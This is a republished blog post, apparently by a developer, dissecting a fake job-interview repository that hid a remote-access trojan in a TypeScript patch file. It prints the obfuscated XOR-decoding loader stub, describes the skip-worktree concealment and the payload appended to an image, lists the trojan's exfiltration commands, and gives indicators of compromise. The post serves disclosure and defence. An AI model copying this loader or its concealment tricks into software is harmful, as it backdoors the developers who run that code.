{"slug": "anatomy-of-a-failed-nation-state-attack", "title": "Anatomy of a Failed (Nation-State?) Attack", "summary": "A security researcher narrowly avoided a nation-state-style attack after receiving a fake job interview email that led to a malicious TypeScript repository. The attacker used a fabricated persona and a backdoor called PinpinRAT, hidden in a patch file, to target the researcher's machine and potentially compromise their crates.io packages. The incident was reported to Canadian cybersecurity authorities.", "body_md": "## Anatomy of a Failed (Nation-State?) Attack\n\n[permalink](/blog/2026/06/25/dissecting-a-failed-nation-state-attack/)\n\n**Disclosures**\n\n🧠 This post is fully human-written: all prose with the exception of the IoC information. Because it was time-sensitive, Claude was used to accelerate the RAT analysis and build an IoC-detection script.\n\nAs I live in Canada, this information was reported to the appropriate Canadian agencies (CCCS et al). The payload-laden image does not trigger any AV engines [on VirusTotal](https://www.virustotal.com/gui/file/7af7864333f5d6dec2a137e2c123019dea27cae8c30b0f293b310c969635c90e/detection).\n\nThe attacker’s identity is fictitious, but there are uninvolved individuals with the same name that they may be confused for and have been omitted from this piece.\n\nThis week I came too close to falling for a [fake-interview scam](https://manishearth.github.io/blog/2026/06/17/the-future-of-the-con-is-already-here/) designed to backdoor my machine, and from the context of the emails, I assume my packages on [crates.io](https://crates.io).\n\nNote: I’m calling it the “PinpinRAT” because of some of the internal strings, but it’s possible this has another name out there. I couldn’t find any other references to it online.\n\nA week and a half ago I received an email from “D█████ S████” claiming to be from Lua Ventures, a (unbeknownst to me at the time) defunct Singapore-based VC in the DeFi space. *To be clear: this is a fabricated persona*, and the name was likely chosen to be easily mistaken for one of a number of real people with the name.\n\nIt looked like a real email, including a link to a somewhat boring, but legitimate-looking LinkedIn profile.\n\nThe attacker even name-dropped two of their investments that were specifically looking for advisory work: Lyrasing and Roadpay. Searching for either of the companies wasn’t really a flag - they both had some very basic web presense, but nothing that would indicate they were fake rather than just *early stage*. [(archive.org snapshot of roadpay.cc)](https://web.archive.org/web/20260626011734/https://roadpay.cc/en).\n\nWe went back and forth on a meeting time and eventually settled on a time we were going to chat. There was nothing odd about the call itself, either. A somewhat-difficult-to-understand man with a German accent was on the other line. He said he was taking the call while travelling which was a bit odd, but again, not necessarily a flag.\n\nAfter the call came the bait. A follow-up email that offered up a “test”.\n\nAt this point I was mildly annoyed, but not suspicious. I cloned the repo, but the first true red flag only fired here.\n\nWhere I got lucky: they sent me a TypeScript repo. It didn’t make sense to me. The instructions looked more like a TypeScript job interview than any sort of architecture analysis. I decided to zip up the repo and toss it into the Claude to get a quick scan - a combination of caution and laziness.\n\nA few moments later it had identified some oddities:\n\nNotably, the root package.json has no postinstall/preinstall hook — interesting, because they use patch-package, which is normally wired to a postinstall. Let me check every package.json for lifecycle scripts, then audit the patch files (the real risk surface — patches can inject arbitrary code into node_modules).\n\nThat piqued my interest. I scanned the directories myself and noticed a fairly unreasonable number of `patches/`\n\ndirectories. The first few I checked seemed innocent enough, but as you might have guessed, they were just trying to add noise so the real payload wouldn’t get caught.\n\n```\npackages/electron-benchmarks/patches/sumchecker+3.0.1.patch\npackages/electron-benchmarks/patches/@electron+get+2.0.3.patch\npackages/electron-benchmarks/patches/extract-zip+2.0.1.patch\n```\n\nWhile I was checking slowly by hand, Claude identified first signs of PinpinRAT:\n\nI found it. This is a malicious payload. Embedded in the\n\n`typescript+5.9.2.patch`\n\nfile — inside what is presented as a routine “module specifier” patch to TypeScript — there is a base64-blob self-executing obfuscation stub injected at the very top of both`_tsc.js`\n\nand`typescript.js`\n\n:\n\n``` js\n;;(function(r,k){const d=Buffer.from(r,'base64');for(let i=0;i<d.length;i+=1)d[i]^=k;return new Function('require','Buffer','WebAssembly','process','__dirname',d.toString('utf8'))(require,Buffer,WebAssembly,process,__dirname)})(\"YWFg...\",73)/*12ff4b51*/\nvoid \"ticket-harbor-tsc-shim-anchor\";\n```\n\nThis decodes a base64 string, XOR-decrypts every byte with the key 73, and runs the result through new Function(…) with require, process, Buffer, etc. handed in. That is a hidden code-execution payload that fires every time tsc or anything importing typescript.js runs — i.e. on the very first npm run typecheck / build / dev.\n\n… and that’s the point where I decided to stop poking the bear on my own machine. I zipped it up with a password to stop myself from accidentally detonating it and kept running the analysis in the sandbox.\n\n## The Trap\n\nThe repo is themed as a ferry-ticketing app named “Ticket Harbor”. The `task.txt`\n\nincluded in the bundle was a plausible set of boring tasks, but ended with:\n\nRun the repo typecheck, test suite, and relevant desktop/server build commands before submitting.\n\nThat instruction is the trap that gets you.\n\nThe chain works like this:\n\n-\nFour separate\n\n`postinstall`\n\nhooks run`patch-package`\n\n. But one of them also runs`git update-index --skip-worktree`\n\non the patch files, which hides them from`git status`\n\n. -\nThe\n\n`typescript+5.9.2.patch`\n\ninjects a self-executing stub at the top of`typescript.js`\n\nand`_tsc.js`\n\n. This is a lightly-obfuscated blob fed into`new Function(...)`\n\n(avoiding`eval`\n\n, presumably to avoid malware detection). -\nThat loader reads a hidden chunk appended to a file named\n\n`operators/3.png`\n\n, runs a small embedded WASM stub (in a custom`wAsm`\n\nchunk), then spawns a detached, silent Node process carrying a 1.68 MB obfuscated second-stage payload. -\nIt cleans up after itself at three layers: the\n\n`git skip-worktree`\n\ntrick, the dropper rewrites the`patch`\n\nto delete its own injected lines after first run, and the stage-2 temp directory self-deletes on execution.\n\nThe *actual* payload is a RAT (a remote-access trojan). I was originally worried this was a credential stealer but that’s a lot worse. PinpinRAT is nested in three obfuscated layers which were a pain to unwrap: obfuscator.io (which claims LLM protection, hah), and two further base64 layers.\n\n## What it drops\n\nIn the interest of 1) quickly sharing this info and 2) not accidentally detonating malware on my own machines, I let Claude tear apart the actual trojan in its sandbox and had it describe it to me.\n\nTo be absolutely clear: Claude was able to reverse engineer multiple levels of obfuscation over about 5 minutes of work, which is far faster than I could have.\n\nThe drop is a full remote-access trojan that seems to have been put together by someone who knows what they are doing. It sets up an RSA key locally and uses AES-256-CBC as a session key.\n\nOn startup it calls a checkin routine that harvests and exfiltrates a host fingerprint:\n\n- primary IP address (enumerates all non-internal interfaces), plus all IPs\n- username (\n`os.userInfo().username`\n\n) - hostname\n- OS type + release + platform + architecture\n- process PID and full\n`process.argv`\n\n- Node version\n\nIt generates an RSA-2048 keypair and a random AES-256 session key (aes_psk), then all subsequent traffic is AES-256-CBC encrypted with an HMAC-SHA256 integrity tag.\n\nIt supports the following commands:\n\n`env`\n\n— JSON.stringify(process.env) dumped and sent back.`upload`\n\n— reads an arbitrary file path and exfiltrates it.`download`\n\n— writes attacker-supplied bytes to any writable path.`spawn`\n\n— runs an arbitrary process with optional shell expansion.`ls`\n\n/`cd`\n\n/`pwd`\n\n/`cp`\n\n/`mv`\n\n— general filesystem primitives.`dns`\n\n— makes the host resolve arbitrary names through a specified resolver (for DNS tunneling?).`dismantle`\n\n— self-removal.\n\n## Indicators of Compromise\n\nIf you ended up running one of these, you should immediately disconnect your system from the network and rotate your credentials from another machine. Remediation *should* be straightforward, but consider your credentials (including cookies and password-protected secrets) compromised.\n\nThese are some indicators of compromise found in the PinpinRAT malware:\n\n- C2: 89.124.107.161:80\n- Scheduled task (Windows):\n`PinpinWrappedJs`\n\n- Process masquerade (macOS):\n`com.apple.WebKit.Networking`\n\n- Env vars:\n`NODT_PAYLOAD_PATH`\n\n,`NODT_PAYLOAD_ARGS`\n\n- PNG chunk guard:\n`WASMPACK`\n\n(wAsm) `PINPIN_NO_AUTOSTART=1`\n\n: stops persistence- cronjob with\n`mutex.js`\n\n(only if the RAT had permission, may not exist on macOS) - Anchor strings in\n`typescript.js`\n\n:`12ff4b51`\n\n,`ticket-harbor-tsc-shim-anchor`\n\n`typescript+5.9.2.patch`\n\nwith the payload- Artifact dirs:\n`~/Library/Caches/runtime-cache/.cache-<randomhex>/`\n\n(macOS),`/tmp/.cache-<randomhex>/`\n\n(Linux),`%TEMP%\\.cache-<randomhex>\\`\n\n(Windows)- .. containing\n`payload.js`\n\nand`mutex.js`\n\n- .. containing\n\n## So who was this?\n\nIt’s impossible to say for sure, but this was targeted, had a pretty convincing cover story with a fake persona, multiple fake websites with stolen history, and a patient timeline. The `git`\n\ntrap was sophisticated. This “fake-interview scam” has been a theme for a number of actors in 2026.\n\nWho is actually behind this is the responsibility of the agencies now. What *is* worth noting is that this was targeted to developers like you and I, and that I was lucky enough to see a red flag right before springing the trap.\n\nAnd to be honest, what’s terrifying and sobering to me is that if this had been a Rust repository with a booby-trapped `build.rs`\n\nscript, I might have even fallen for it.", "url": "https://wpnews.pro/news/anatomy-of-a-failed-nation-state-attack", "canonical_source": "https://grack.com/blog/2026/06/25/dissecting-a-failed-nation-state-attack/", "published_at": "2026-06-26 14:58:54+00:00", "updated_at": "2026-06-26 15:36:26.894505+00:00", "lang": "en", "topics": ["ai-safety", "ai-tools", "ai-research"], "entities": ["Lua Ventures", "Lyrasing", "Roadpay", "PinpinRAT", "Claude", "crates.io", "CCCS", "VirusTotal"], "alternates": {"html": "https://wpnews.pro/news/anatomy-of-a-failed-nation-state-attack", "markdown": "https://wpnews.pro/news/anatomy-of-a-failed-nation-state-attack.md", "text": "https://wpnews.pro/news/anatomy-of-a-failed-nation-state-attack.txt", "jsonld": "https://wpnews.pro/news/anatomy-of-a-failed-nation-state-attack.jsonld"}}